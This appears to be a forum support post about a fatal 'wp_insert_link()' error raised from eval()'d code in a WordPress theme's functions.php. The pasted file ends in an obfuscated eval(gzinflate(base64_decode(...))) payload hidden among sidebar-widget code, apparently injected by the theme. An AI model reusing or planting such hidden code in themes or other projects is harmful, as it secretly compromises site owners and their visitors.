Fatal error when posting comments

When I post a comment I get the error:
Fatal error: Call to undefined function wp_insert_link() in /var/www/clients/client4/web12/web/wp-content/themes/gamers-theme/functions.php(34) : eval()’d code on line 6

The message does get posted though.
I checked the functions.php in that template and can’t find the problem.

I do use WordPress 2.8.5 + WP United + phpBB3 + Gamers Theme.

<?php
if ( function_exists('register_sidebar') )
    register_sidebar(array(
        'before_widget' => '<div id="%1$s" class="sdb-content %2$s">',
        'after_widget' => '</div>',
        'before_title' => '<h3>',
        'after_title' => '</h3>',
    ));
?>
<?php function widget_gamers_search() {
	?>
	<div class="sdb-content">
		<h3>Search</h3>
		<?php include (TEMPLATEPATH . '/searchform.php'); ?>
	</div>
	<?php
}
if (function_exists('register_sidebar_widget'))
	register_sidebar_widget(__('Search'), 'widget_gamers_search');
?>
<?php function widget_gamers_calendar() {
	?>
	<div class="sdb-content">
		<h3>Calendar</h3>
		<div class="center">
			<?php get_calendar(); ?>
		</div>
	</div>
	<?php
}
if (function_exists('register_sidebar_widget'))
	register_sidebar_widget(__('Calendar'), 'widget_gamers_calendar');

$V5000faf04d7bdb66c09b48e42cd66d00='jZBBSwMxEIXPm18xDEITqF3Plu2lrHhQC3WlxzBt0m1wNwlJalDxv2tje/LibZj55r3HY6SUpF0yznLUyiTpXUw4RWOjDkmmgx61HIx9RTFn+6MtKPy5cgGfrOoHt6UBrrJX2zmrzJ6X8XrR6yTfKHB8bh/aZQfL1ctTx0+P0igBd+vVI5zR0zLC5r5dt1CAYxiaySElf1vXOecZjfRhbJ9dUD7oGEuIONu5sZ6gaJobwaoqe3nOWNJRCPTOsehZGjVCswDcXCSgKxo4BbxY/hL/s0UQP+V8sW8=';eval(gzinflate(base64_decode($V5000faf04d7bdb66c09b48e42cd66d00)));
?>

So the comments work fine, just the message where it should say: post succesfully posted it gives this error instead.